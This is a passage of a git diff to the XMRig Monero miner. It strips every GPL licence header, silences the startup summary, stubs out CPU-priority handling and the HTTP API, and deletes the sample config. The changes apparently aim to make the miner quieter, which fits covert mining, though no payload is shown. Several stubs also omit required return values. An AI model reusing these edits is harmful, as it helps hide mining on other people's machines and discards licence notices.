- break; - - case 3: - prio = -5; - break; - - case 4: - prio = -10; - break; - - case 5: - prio = -15; - break; - - default: - break; - } - - setpriority(PRIO_PROCESS, 0, prio); - -# ifdef SCHED_IDLE - if (priority == 0) { - sched_param param; - param.sched_priority = 0; - - if (sched_setscheduler(0, SCHED_IDLE, ¶m) != 0) { - sched_setscheduler(0, SCHED_BATCH, ¶m); - } - } -# endif -} diff --git a/src/Platform_win.cpp b/src/Platform_win.cpp index 880bdd98..8b842ef0 100644 --- a/src/Platform_win.cpp +++ b/src/Platform_win.cpp @@ -1,170 +1,40 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include #include - - #include "Platform.h" #include "version.h" -#ifdef XMRIG_NVIDIA_PROJECT -# include "nvidia/cryptonight.h" -#endif - - static inline OSVERSIONINFOEX winOsVersion() { typedef NTSTATUS (NTAPI *RtlGetVersionFunction)(LPOSVERSIONINFO); OSVERSIONINFOEX result = { sizeof(OSVERSIONINFOEX), 0, 0, 0, 0, {'\0'}, 0, 0, 0, 0, 0}; - HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); if (ntdll ) { RtlGetVersionFunction pRtlGetVersion = reinterpret_cast(GetProcAddress(ntdll, "RtlGetVersion")); - - if (pRtlGetVersion) { - pRtlGetVersion((LPOSVERSIONINFO) &result); - } + if (pRtlGetVersion) { pRtlGetVersion((LPOSVERSIONINFO) &result); } } - return result; } - - static inline char *createUserAgent() { const auto osver = winOsVersion(); const size_t max = 160; - char *buf = new char[max]; int length = snprintf(buf, max, "%s/%s (Windows NT %lu.%lu", APP_NAME, APP_VERSION, osver.dwMajorVersion, osver.dwMinorVersion); - # if defined(__x86_64__) || defined(_M_AMD64) length += snprintf(buf + length, max - length, "; Win64; x64) libuv/%s", uv_version_string()); # else length += snprintf(buf + length, max - length, ") libuv/%s", uv_version_string()); # endif -# ifdef XMRIG_NVIDIA_PROJECT - const int cudaVersion = cuda_get_runtime_version(); - length += snprintf(buf + length, max - length, " CUDA/%d.%d", cudaVersion / 1000, cudaVersion % 100); -# endif - # ifdef __GNUC__ length += snprintf(buf + length, max - length, " gcc/%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__); # elif _MSC_VER length += snprintf(buf + length, max - length, " msvc/%d", MSVC_VERSION); # endif - return buf; } - - -void Platform::init(const char *userAgent) -{ - m_userAgent = userAgent ? strdup(userAgent) : createUserAgent(); -} - - -void Platform::release() -{ - delete [] m_defaultConfigName; - delete [] m_userAgent; -} - - -void Platform::setProcessPriority(int priority) -{ - if (priority == -1) { - return; - } - - DWORD prio = IDLE_PRIORITY_CLASS; - switch (priority) - { - case 1: - prio = BELOW_NORMAL_PRIORITY_CLASS; - break; - - case 2: - prio = NORMAL_PRIORITY_CLASS; - break; - - case 3: - prio = ABOVE_NORMAL_PRIORITY_CLASS; - break; - - case 4: - prio = HIGH_PRIORITY_CLASS; - break; - - case 5: - prio = REALTIME_PRIORITY_CLASS; - - default: - break; - } - - SetPriorityClass(GetCurrentProcess(), prio); -} - - - -void Platform::setThreadPriority(int priority) -{ - if (priority == -1) { - return; - } - - int prio = THREAD_PRIORITY_IDLE; - switch (priority) - { - case 1: - prio = THREAD_PRIORITY_BELOW_NORMAL; - break; - - case 2: - prio = THREAD_PRIORITY_NORMAL; - break; - - case 3: - prio = THREAD_PRIORITY_ABOVE_NORMAL; - break; - - case 4: - prio = THREAD_PRIORITY_HIGHEST; - break; - - case 5: - prio = THREAD_PRIORITY_TIME_CRITICAL; - break; - - default: - break; - } - - SetThreadPriority(GetCurrentThread(), prio); -} - +void Platform::init(const char *userAgent){ m_userAgent = userAgent ? strdup(userAgent) : createUserAgent(); } +void Platform::release(){ delete [] m_defaultConfigName; delete [] m_userAgent; } +void Platform::setProcessPriority(int priority){} +void Platform::setThreadPriority(int priority) {} diff --git a/src/Summary.cpp b/src/Summary.cpp index 2d93f429..3309d13a 100644 --- a/src/Summary.cpp +++ b/src/Summary.cpp @@ -1,170 +1,2 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include -#include - - -#include "Cpu.h" -#include "log/Log.h" -#include "Mem.h" -#include "net/Url.h" -#include "Options.h" #include "Summary.h" -#include "version.h" - - -static void print_versions() -{ - char buf[16]; - -# if defined(__clang__) - snprintf(buf, 16, " clang/%d.%d.%d", __clang_major__, __clang_minor__, __clang_patchlevel__); -# elif defined(__GNUC__) - snprintf(buf, 16, " gcc/%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__); -# elif defined(_MSC_VER) - snprintf(buf, 16, " MSVC/%d", MSVC_VERSION); -# else - buf[0] = '\0'; -# endif - - - Log::i()->text(Options::i()->colors() ? "\x1B[01;32m * \x1B[01;37mVERSIONS: \x1B[01;36mXMRig/%s\x1B[01;37m libuv/%s%s" : " * VERSIONS: XMRig/%s libuv/%s%s", - APP_VERSION, uv_version_string(), buf); -} - - -static void print_memory() { - if (Options::i()->colors()) { - Log::i()->text("\x1B[01;32m * \x1B[01;37mHUGE PAGES: %s, %s", - Mem::isHugepagesAvailable() ? "\x1B[01;32mavailable" : "\x1B[01;31munavailable", - Mem::isHugepagesEnabled() ? "\x1B[01;32menabled" : "\x1B[01;31mdisabled"); - } - else { - Log::i()->text(" * HUGE PAGES: %s, %s", Mem::isHugepagesAvailable() ? "available" : "unavailable", Mem::isHugepagesEnabled() ? "enabled" : "disabled"); - } -} - - -static void print_cpu() -{ - if (Options::i()->colors()) { - Log::i()->text("\x1B[01;32m * \x1B[01;37mCPU: %s (%d) %sx64 %sAES-NI", - Cpu::brand(), - Cpu::sockets(), - Cpu::isX64() ? "\x1B[01;32m" : "\x1B[01;31m-", - Cpu::hasAES() ? "\x1B[01;32m" : "\x1B[01;31m-"); -# ifndef XMRIG_NO_LIBCPUID - Log::i()->text("\x1B[01;32m * \x1B[01;37mCPU L2/L3: %.1f MB/%.1f MB", Cpu::l2() / 1024.0, Cpu::l3() / 1024.0); -# endif - } - else { - Log::i()->text(" * CPU: %s (%d) %sx64 %sAES-NI", Cpu::brand(), Cpu::sockets(), Cpu::isX64() ? "" : "-", Cpu::hasAES() ? "" : "-"); -# ifndef XMRIG_NO_LIBCPUID - Log::i()->text(" * CPU L2/L3: %.1f MB/%.1f MB", Cpu::l2() / 1024.0, Cpu::l3() / 1024.0); -# endif - } -} - - -static void print_threads() -{ - char buf[32]; - if (Options::i()->affinity() != -1L) { - snprintf(buf, 32, ", affinity=0x%" PRIX64, Options::i()->affinity()); - } - else { - buf[0] = '\0'; - } - - Log::i()->text(Options::i()->colors() ? "\x1B[01;32m * \x1B[01;37mTHREADS: \x1B[01;36m%d\x1B[01;37m, %s, av=%d, %sdonate=%d%%%s" : " * THREADS: %d, %s, av=%d, %sdonate=%d%%%s", - Options::i()->threads(), - Options::i()->algoName(), - Options::i()->algoVariant(), - Options::i()->colors() && Options::i()->donateLevel() == 0 ? "\x1B[01;31m" : "", - Options::i()->donateLevel(), - buf); -} - - -static void print_pools() -{ - const std::vector &pools = Options::i()->pools(); - - for (size_t i = 0; i < pools.size(); ++i) { - Log::i()->text(Options::i()->colors() ? "\x1B[01;32m * \x1B[01;37mPOOL #%d: \x1B[01;36m%s:%d" : " * POOL #%d: %s:%d", - i + 1, - pools[i]->host(), - pools[i]->port()); - } - -# ifdef APP_DEBUG - for (size_t i = 0; i < pools.size(); ++i) { - Log::i()->text("%s:%d, user: %s, pass: %s, ka: %d, nicehash: %d", pools[i]->host(), pools[i]->port(), pools[i]->user(), pools[i]->password(), pools[i]->isKeepAlive(), pools[i]->isNicehash()); - } -# endif -} - - -#ifndef XMRIG_NO_API -static void print_api() -{ - if (Options::i()->apiPort() == 0) { - return; - } - - Log::i()->text(Options::i()->colors() ? "\x1B[01;32m * \x1B[01;37mAPI PORT: \x1B[01;36m%d" : " * API PORT: %d", Options::i()->apiPort()); -} -#endif - - -static void print_commands() -{ - if (Options::i()->colors()) { - Log::i()->text("\x1B[01;32m * \x1B[01;37mCOMMANDS: \x1B[01;35mh\x1B[01;37mashrate, \x1B[01;35mp\x1B[01;37mause, \x1B[01;35mr\x1B[01;37mesume"); - } - else { - Log::i()->text(" * COMMANDS: 'h' hashrate, 'p' pause, 'r' resume"); - } -} - - -void Summary::print() -{ - print_versions(); - print_memory(); - print_cpu(); - print_threads(); - print_pools(); - -# ifndef XMRIG_NO_API - print_api(); -# endif - - print_commands(); -} - - - +void Summary::print(){} \ No newline at end of file diff --git a/src/Summary.h b/src/Summary.h index 3f64fd60..2d87893a 100644 --- a/src/Summary.h +++ b/src/Summary.h @@ -1,35 +1,8 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __SUMMARY_H__ #define __SUMMARY_H__ - - class Summary { public: static void print(); }; - - -#endif /* __SUMMARY_H__ */ +#endif \ No newline at end of file diff --git a/src/api/Api.cpp b/src/api/Api.cpp index 729ebccd..8de09db9 100644 --- a/src/api/Api.cpp +++ b/src/api/Api.cpp @@ -1,85 +1,10 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #include - - #include "api/Api.h" #include "api/ApiState.h" - - ApiState *Api::m_state = nullptr; uv_mutex_t Api::m_mutex; - - -bool Api::start() -{ - uv_mutex_init(&m_mutex); - m_state = new ApiState(); - - return true; -} - - -void Api::release() -{ - delete m_state; -} - - -char *Api::get(const char *url, int *status) -{ - if (!m_state) { - return nullptr; - } - - uv_mutex_lock(&m_mutex); - char *buf = m_state->get(url, status); - uv_mutex_unlock(&m_mutex); - - return buf; -} - - -void Api::tick(const Hashrate *hashrate) -{ - if (!m_state) { - return; - } - - uv_mutex_lock(&m_mutex); - m_state->tick(hashrate); - uv_mutex_unlock(&m_mutex); -} - - -void Api::tick(const NetworkState &network) -{ - if (!m_state) { - return; - } - - uv_mutex_lock(&m_mutex); - m_state->tick(network); - uv_mutex_unlock(&m_mutex); -} +bool Api::start(){ return 0; } +void Api::release(){} +char *Api::get(const char *url, int *status){ } +void Api::tick(const Hashrate *hashrate){} +void Api::tick(const NetworkState &network){} \ No newline at end of file diff --git a/src/api/Api.h b/src/api/Api.h index 72c65c3c..9ec46345 100644 --- a/src/api/Api.h +++ b/src/api/Api.h @@ -1,38 +1,10 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __API_H__ #define __API_H__ - - #include - - class ApiState; class Hashrate; class NetworkState; - class Api { public: diff --git a/src/api/ApiState.cpp b/src/api/ApiState.cpp index c963a1d6..178de8d7 100644 --- a/src/api/ApiState.cpp +++ b/src/api/ApiState.cpp @@ -1,37 +1,11 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -#include +#include #include #include - #if _WIN32 # include "winsock2.h" #else # include "unistd.h" #endif - - #include "api/ApiState.h" #include "Cpu.h" #include "Mem.h" @@ -43,64 +17,44 @@ #include "rapidjson/prettywriter.h" #include "version.h" #include "workers/Hashrate.h" - - extern "C" { #include "crypto/c_keccak.h" } - - static inline double normalize(double d) { - if (!isnormal(d)) { + if (!std::isnormal(d)) { return 0.0; } - return floor(d * 100.0) / 100.0; + return std::floor(d * 100.0) / 100.0; } - - ApiState::ApiState() { m_threads = Options::i()->threads(); m_hashrate = new double[m_threads * 3](); - memset(m_totalHashrate, 0, sizeof(m_totalHashrate)); memset(m_workerId, 0, sizeof(m_workerId)); - if (Options::i()->apiWorkerId()) { strncpy(m_workerId, Options::i()->apiWorkerId(), sizeof(m_workerId) - 1); } else { gethostname(m_workerId, sizeof(m_workerId) - 1); } - genId(); } - - -ApiState::~ApiState() -{ - delete [] m_hashrate; -} - - +ApiState::~ApiState() {delete [] m_hashrate;} char *ApiState::get(const char *url, int *status) const { rapidjson::Document doc; doc.SetObject(); - getIdentify(doc); getMiner(doc); getHashrate(doc); getResults(doc); getConnection(doc); - return finalize(doc); } - - void ApiState::tick(const Hashrate *hashrate) { for (int i = 0; i < m_threads; ++i) { @@ -108,124 +62,87 @@ void ApiState::tick(const Hashrate *hashrate) m_hashrate[i * 3 + 1] = hashrate->calc((size_t) i, Hashrate::MediumInterval); m_hashrate[i * 3 + 2] = hashrate->calc((size_t) i, Hashrate::LargeInterval); } - m_totalHashrate[0] = hashrate->calc(Hashrate::ShortInterval); m_totalHashrate[1] = hashrate->calc(Hashrate::MediumInterval); m_totalHashrate[2] = hashrate->calc(Hashrate::LargeInterval); m_highestHashrate = hashrate->highest(); } - - -void ApiState::tick(const NetworkState &network) -{ - m_network = network; -} - - +void ApiState::tick(const NetworkState &network) {m_network = network; } char *ApiState::finalize(rapidjson::Document &doc) const { rapidjson::StringBuffer buffer(0, 4096); rapidjson::PrettyWriter writer(buffer); writer.SetMaxDecimalPlaces(10); doc.Accept(writer); - return strdup(buffer.GetString()); } - - void ApiState::genId() { memset(m_id, 0, sizeof(m_id)); - uv_interface_address_t *interfaces; int count = 0; - - if (uv_interface_addresses(&interfaces, &count) < 0) { - return; - } - + if (uv_interface_addresses(&interfaces, &count) < 0) { return;} for (int i = 0; i < count; i++) { if (!interfaces[i].is_internal && interfaces[i].address.address4.sin_family == AF_INET) { uint8_t hash[200]; const size_t addrSize = sizeof(interfaces[i].phys_addr); const size_t inSize = strlen(APP_KIND) + addrSize; - uint8_t *input = new uint8_t[inSize](); memcpy(input, interfaces[i].phys_addr, addrSize); memcpy(input + addrSize, APP_KIND, strlen(APP_KIND)); - keccak(input, static_cast(inSize), hash, sizeof(hash)); Job::toHex(hash, 8, m_id); - delete [] input; break; } } - uv_free_interface_addresses(interfaces, count); } - - void ApiState::getConnection(rapidjson::Document &doc) const { auto &allocator = doc.GetAllocator(); - rapidjson::Value connection(rapidjson::kObjectType); connection.AddMember("pool", rapidjson::StringRef(m_network.pool), allocator); connection.AddMember("uptime", m_network.connectionTime(), allocator); connection.AddMember("ping", m_network.latency(), allocator); connection.AddMember("failures", m_network.failures, allocator); connection.AddMember("error_log", rapidjson::Value(rapidjson::kArrayType), allocator); - doc.AddMember("connection", connection, allocator); } - - void ApiState::getHashrate(rapidjson::Document &doc) const { auto &allocator = doc.GetAllocator(); - - rapidjson::Value hashrate(rapidjson::kObjectType); + rapidjson::Value hashrate(rapidjson::kObjectType); rapidjson::Value total(rapidjson::kArrayType); rapidjson::Value threads(rapidjson::kArrayType); - for (int i = 0; i < 3; ++i) { total.PushBack(normalize(m_totalHashrate[i]), allocator); } - for (int i = 0; i < m_threads * 3; i += 3) { rapidjson::Value thread(rapidjson::kArrayType); thread.PushBack(normalize(m_hashrate[i]), allocator); thread.PushBack(normalize(m_hashrate[i + 1]), allocator); thread.PushBack(normalize(m_hashrate[i + 2]), allocator); - threads.PushBack(thread, allocator); } - hashrate.AddMember("total", total, allocator); hashrate.AddMember("highest", normalize(m_highestHashrate), allocator); hashrate.AddMember("threads", threads, allocator); doc.AddMember("hashrate", hashrate, allocator); } - - void ApiState::getIdentify(rapidjson::Document &doc) const { doc.AddMember("id", rapidjson::StringRef(m_id), doc.GetAllocator()); doc.AddMember("worker_id", rapidjson::StringRef(m_workerId), doc.GetAllocator()); } - - void ApiState::getMiner(rapidjson::Document &doc) const { auto &allocator = doc.GetAllocator(); - rapidjson::Value cpu(rapidjson::kObjectType); cpu.AddMember("brand", rapidjson::StringRef(Cpu::brand()), allocator); cpu.AddMember("aes", Cpu::hasAES(), allocator); cpu.AddMember("x64", Cpu::isX64(), allocator); cpu.AddMember("sockets", Cpu::sockets(), allocator); - doc.AddMember("version", APP_VERSION, allocator); doc.AddMember("kind", APP_KIND, allocator); doc.AddMember("ua", rapidjson::StringRef(Platform::userAgent()), allocator); @@ -234,27 +151,20 @@ void ApiState::getMiner(rapidjson::Document &doc) const doc.AddMember("hugepages", Mem::isHugepagesEnabled(), allocator); doc.AddMember("donate_level", Options::i()->donateLevel(), allocator); } - - void ApiState::getResults(rapidjson::Document &doc) const { auto &allocator = doc.GetAllocator(); - rapidjson::Value results(rapidjson::kObjectType); - results.AddMember("diff_current", m_network.diff, allocator); results.AddMember("shares_good", m_network.accepted, allocator); results.AddMember("shares_total", m_network.accepted + m_network.rejected, allocator); results.AddMember("avg_time", m_network.avgTime(), allocator); results.AddMember("hashes_total", m_network.total, allocator); - rapidjson::Value best(rapidjson::kArrayType); for (size_t i = 0; i < m_network.topDiff.size(); ++i) { best.PushBack(m_network.topDiff[i], allocator); } - results.AddMember("best", best, allocator); results.AddMember("error_log", rapidjson::Value(rapidjson::kArrayType), allocator); - doc.AddMember("results", results, allocator); -} +} \ No newline at end of file diff --git a/src/api/ApiState.h b/src/api/ApiState.h index 7ecca36d..93eb4481 100644 --- a/src/api/ApiState.h +++ b/src/api/ApiState.h @@ -1,37 +1,8 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __APISTATE_H__ #define __APISTATE_H__ - - #include "api/NetworkState.h" #include "rapidjson/fwd.h" - - class Hashrate; - - class ApiState { public: diff --git a/src/api/Httpd.cpp b/src/api/Httpd.cpp index 996bc007..fef2071c 100644 --- a/src/api/Httpd.cpp +++ b/src/api/Httpd.cpp @@ -1,116 +1,14 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include - - #include "api/Api.h" #include "api/Httpd.h" #include "log/Log.h" - - Httpd::Httpd(int port, const char *accessToken) : m_accessToken(accessToken), m_port(port), m_daemon(nullptr) -{ -} - - -bool Httpd::start() -{ - if (!m_port) { - return false; - } - - m_daemon = MHD_start_daemon(MHD_USE_SELECT_INTERNALLY, m_port, nullptr, nullptr, &Httpd::handler, this, MHD_OPTION_END); - if (!m_daemon) { - LOG_ERR("HTTP Daemon failed to start."); - return false; - } - - return true; -} - - -int Httpd::auth(const char *header) -{ - if (!m_accessToken) { - return MHD_HTTP_OK; - } - - if (m_accessToken && !header) { - return MHD_HTTP_UNAUTHORIZED; - } - - const size_t size = strlen(header); - if (size < 8 || strlen(m_accessToken) != size - 7 || memcmp("Bearer ", header, 7) != 0) { - return MHD_HTTP_FORBIDDEN; - } - - return strncmp(m_accessToken, header + 7, strlen(m_accessToken)) == 0 ? MHD_HTTP_OK : MHD_HTTP_FORBIDDEN; -} - - -int Httpd::done(MHD_Connection *connection, int status, MHD_Response *rsp) -{ - if (!rsp) { - rsp = MHD_create_response_from_buffer(0, nullptr, MHD_RESPMEM_PERSISTENT); - } - - MHD_add_response_header(rsp, "Content-Type", "application/json"); - MHD_add_response_header(rsp, "Access-Control-Allow-Origin", "*"); - MHD_add_response_header(rsp, "Access-Control-Allow-Methods", "GET"); - MHD_add_response_header(rsp, "Access-Control-Allow-Headers", "Authorization"); - - const int ret = MHD_queue_response(connection, status, rsp); - MHD_destroy_response(rsp); - return ret; -} - - -int Httpd::handler(void *cls, struct MHD_Connection *connection, const char *url, const char *method, const char *version, const char *upload_data, size_t *upload_data_size, void **con_cls) -{ - if (strcmp(method, "OPTIONS") == 0) { - return done(connection, MHD_HTTP_OK, nullptr); - } - - if (strcmp(method, "GET") != 0) { - return MHD_NO; - } - - int status = static_cast(cls)->auth(MHD_lookup_connection_value(connection, MHD_HEADER_KIND, "Authorization")); - if (status != MHD_HTTP_OK) { - return done(connection, status, nullptr); - } - - char *buf = Api::get(url, &status); - if (buf == nullptr) { - return MHD_NO; - } - - MHD_Response *rsp = MHD_create_response_from_buffer(strlen(buf), (void*) buf, MHD_RESPMEM_MUST_FREE); - return done(connection, status, rsp); -} +{} +bool Httpd::start(){} +int Httpd::auth(const char *header){} +int Httpd::done(MHD_Connection *connection, int status, MHD_Response *rsp){} +int Httpd::handler(void *cls, struct MHD_Connection *connection, const char *url, const char *method, const char *version, const char *upload_data, size_t *upload_data_size, void **con_cls){} diff --git a/src/api/Httpd.h b/src/api/Httpd.h index 7a4dd932..59e5b60e 100644 --- a/src/api/Httpd.h +++ b/src/api/Httpd.h @@ -1,26 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __HTTPD_H__ #define __HTTPD_H__ diff --git a/src/api/NetworkState.cpp b/src/api/NetworkState.cpp index d3ffddd3..0cc3313e 100644 --- a/src/api/NetworkState.cpp +++ b/src/api/NetworkState.cpp @@ -1,113 +1,58 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include #include #include - - #include "api/NetworkState.h" #include "net/SubmitResult.h" - - NetworkState::NetworkState() : - diff(0), - accepted(0), - failures(0), - rejected(0), - total(0), - m_active(false) + diff(0), + accepted(0), + failures(0), + rejected(0), + total(0), + m_active(false) { - memset(pool, 0, sizeof(pool)); + memset(pool, 0, sizeof(pool)); } - - -int NetworkState::connectionTime() const -{ - return m_active ? (int)((uv_now(uv_default_loop()) - m_connectionTime) / 1000) : 0; -} - - +int NetworkState::connectionTime() const { return m_active ? (int)((uv_now(uv_default_loop()) - m_connectionTime) / 1000) : 0; } uint32_t NetworkState::avgTime() const { - if (m_latency.empty()) { - return 0; - } - - return connectionTime() / (uint32_t)m_latency.size(); + if (m_latency.empty()) { return 0; } + return connectionTime() / (uint32_t)m_latency.size(); } - - uint32_t NetworkState::latency() const { - const size_t calls = m_latency.size(); - if (calls == 0) { - return 0; - } - - auto v = m_latency; - std::nth_element(v.begin(), v.begin() + calls / 2, v.end()); - - return v[calls / 2]; + const size_t calls = m_latency.size(); + if (calls == 0) { return 0; } + auto v = m_latency; + std::nth_element(v.begin(), v.begin() + calls / 2, v.end()); + return v[calls / 2]; } - - void NetworkState::add(const SubmitResult &result, const char *error) { - if (error) { - rejected++; - return; - } - - accepted++; - total += result.diff; - - const size_t ln = topDiff.size() - 1; - if (result.actualDiff > topDiff[ln]) { - topDiff[ln] = result.actualDiff; - std::sort(topDiff.rbegin(), topDiff.rend()); - } - - m_latency.push_back(result.elapsed > 0xFFFF ? 0xFFFF : (uint16_t) result.elapsed); + if (error) { + rejected++; + return; + } + accepted++; + total += result.diff; + const size_t ln = topDiff.size() - 1; + if (result.actualDiff > topDiff[ln]) { + topDiff[ln] = result.actualDiff; + std::sort(topDiff.rbegin(), topDiff.rend()); + } + m_latency.push_back(result.elapsed > 0xFFFF ? 0xFFFF : (uint16_t)result.elapsed); } - - void NetworkState::setPool(const char *host, int port, const char *ip) { - snprintf(pool, sizeof(pool) - 1, "%s:%d", host, port); - - m_active = true; - m_connectionTime = uv_now(uv_default_loop()); + snprintf(pool, sizeof(pool) - 1, "%s:%d", host, port); + m_active = true; + m_connectionTime = uv_now(uv_default_loop()); } - - void NetworkState::stop() { - m_active = false; - diff = 0; - - failures++; - m_latency.clear(); -} + m_active = false; + diff = 0; + failures++; + m_latency.clear(); +} \ No newline at end of file diff --git a/src/api/NetworkState.h b/src/api/NetworkState.h index d0998074..49ba0b71 100644 --- a/src/api/NetworkState.h +++ b/src/api/NetworkState.h @@ -1,26 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __NETWORKSTATE_H__ #define __NETWORKSTATE_H__ diff --git a/src/config.json b/src/config.json deleted file mode 100644 index 7813d4b9..00000000 --- a/src/config.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "algo": "cryptonight", // cryptonight (default) or cryptonight-lite - "av": 0, // algorithm variation, 0 auto select - "background": false, // true to run the miner in the background - "colors": true, // false to disable colored output - "cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1 - "cpu-priority": null, // set process priority (0 idle, 2 